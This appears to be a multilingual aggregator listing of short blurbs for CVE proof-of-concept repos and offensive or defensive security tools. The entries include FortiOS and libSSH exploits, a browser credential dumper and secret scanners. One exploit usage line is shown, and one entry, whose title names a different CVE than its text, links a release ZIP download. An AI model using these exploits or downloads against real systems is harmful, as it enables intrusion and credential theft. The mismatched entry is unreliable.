CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Authentication-Bypass Erhalte ohne Anmeldedaten eine Shell mithilfe von CVE-2018-10933 Informationen zu CVE-2018-10933 von libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Bugfix-Release von libSSH :...

ProtOSINT

ProtOSINT ProtOSINT è uno script Python che ti aiuta a investigare sugli account Proton Mail. Versione Questa è ProtOSINT v2. La prima versione è stata in circolazione per alcuni anni, ma l'API di Proton è cambiata e i vecchi controlli hanno smesso di funzionare, quindi questa è una riscrittura c...

CVE-2022-40684

CVE-2022-40684 di 1vere$k Per ora è una copia POC per CVE-2022-40684 che colpisce gli appliance Fortinet FortiOS, FortiProxy e FortiSwitchManager. Copiato da https://github.com/horizon3ai/CVE-2022-40684 Analisi L'exploit utilizza il semplice payload: root@kitploit: PUT...

CVE-2024-21626-demo

CVE-2024-21626-demo Demo per il LT del Container Runtime Meetup 5. Scopo: diffondere la consapevolezza del pericolo di attacco secondo le informazioni pubbliche; l'abuso è severamente vietato. Slides Container Runtime Meetup 5 〜Quella immagine, ti fidi davvero?〜 Ottenere la root dell'host con...

CVE-2025-38001

Labor: CVE-2025-41744 - Verwendung eines Standard-Kryptographieschlüssels in Sprecher Automation SPRECON-E-C Download Download Lab ZIP : https://github.com/boeseejykbtanke348/CVE-2025-38001/releases/download/Release/CVE-2025-38001.zip 🚀 Überblick CVE-2025-41744 ist eine kritische Schwachstelle, d...

CVE-2022-23529-Exploration

CVE-2022-23529 Le versioni della libreria JSON Web Token JWT precedenti alla 3.4.6, alla 4.0.4 e alla 4.1.5 sono vulnerabili a RCE. Le funzioni di hashing HMAC accettano qualsiasi stringa come input, il che porta a RCE. A causa delle precondizioni, è improbabile che questa vulnerabilità sia...

CVE-2020-0601-spoofkey

CVE-2020-0601-spoofkey Чтобы узнать, как создать поддельный ключ и подписать код ТРЕБУЕТСЯ: openssl, main.rb который я загрузил ПОСЕТИТЕ : https://twitter.com/exploitblizzard...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Werkzeugübersicht Ein schnelles Exploit-Tool für CVE-2022-40684, Anfängercode – bei Problemen gerne ein Issue eröffnen. Verwendung main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Haftungsausschluss Dieses Tool ist ausschließlich für legal autorisierte...

Blacklist3r

Blacklist3r L'obiettivo di questo progetto è accumulare le chiavi segrete / materiali segreti relativi a vari framework web, che sono pubblicamente disponibili e potenzialmente utilizzati dagli sviluppatori. Questi segreti verranno utilizzati dagli strumenti Blacklist3r per verificare...

badkeys

badkeys Werkzeug und Bibliothek zum Überprüfen von kryptografischen öffentlichen Schlüsseln auf bekannte Schwachstellen was? badkeys überprüft öffentliche Schlüssel in verschiedenen Formaten auf bekannte Schwachstellen. Eine Webversion ist unter badkeys.info verfügbar. Installation badkeys kann v...

Hikvision-CVE-2017-7921-decryptor

hikvisionCVE-2017-7921authbypassconfigdecryptor Questo file Python decripta il file di configurazione utilizzato dalle telecamere hikvision vulnerabili a CVE-2017-7921. https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0876.html/ Descrizione Bypass dell'autenticazione delle...

mantra

「🔑」 Informazioni su Mantra Il tool in questione è stato creato in Go e il suo obiettivo principale è cercare chiavi API in file JavaScript e pagine HTML. Funziona controllando il codice sorgente delle pagine web e dei file script per individuare stringhe identiche o simili a chiavi API. Queste...

CVE-2025-45809-PoC

CVE-2025-45809 — حقن SQL في LiteLLM عبر /key/block حقن أعمى زمني LiteLLM الإصدار v1.65.4 ما قبل v1.81.0 يحتوي المعامل key في نقاط /key/block و /key/unblock على ثغرة حقن SQL. يمكن للمهاجم استغلال تقنية الحقن الأعمى الزمني لسرقة محتوى قاعدة البيانات وقراءة ملفات الخادم...

CVE-2026-74771

Dell PowerProtect One, versions 20.1.0.0 and below, contain an Authorization Bypass Through User-Controlled Key vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information tampering...

keyFinder

KeyFinder Rilevamento passivo di chiavi API e segreti per Chrome e Firefox KeyFinder è un'estensione per browser per Chrome e Firefox che analizza passivamente ogni pagina visitata alla ricerca di chiavi API, token, segreti e credenziali trapelati. Funziona silenziosamente in background senza...

DumpBrowserSecrets

DumpBrowserSecrets Extrahiert im Browser gespeicherte Daten wie Refresh-Token, Cookies, gespeicherte Anmeldeinformationen, Kreditkarten, Autovervollständigungsdaten, Browserverlauf und Lesezeichen aus modernen Chromium-basierten und Gecko-basierten Browsern Chrome, Microsoft Edge, Firefox, Opera,...

git-hound

🐾 GitHound Um apanhador de segredos que combina padrões, ataca patches e captura em lote. Visão Geral O GitHound caça chaves de API, segredos e credenciais expostas no GitHub combinando GitHub dorks com correspondência de padrões, detecção contextual e análise do histórico de commits. Insira um...

CryKeX

Properties: Cross-platform Minimalism Simplicity Interactivity Compatibility/Portability Application Independable Process Wrapping Process Injection Dependencies: Unix - should work on any Unix-based OS BASH - the whole script root privileges optional Limitations: AES and RSA keys only Fails most...

wa-crypt-tools

WhatsApp Crypt Tools Decrittografa e crittografa facilmente i file .crypt12, .crypt14 e .crypt15 di WhatsApp e WA Business! Per la decrittazione, ti serve il file della chiave o la chiave di 64 caratteri. Il file della chiave si chiama "key" se il backup è crypt14 o "encryptedbackup.key" se il...

MAL-2026-14544 Malicious code in self-sign (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b684f78f17626dead6b3d11131179a7a1aff7fa5e903daeecdac17ce8e3b99b3 The exported generate function in [email protected] accepts an undocumented third defaults parameter. When passed a string, the code strips PEM...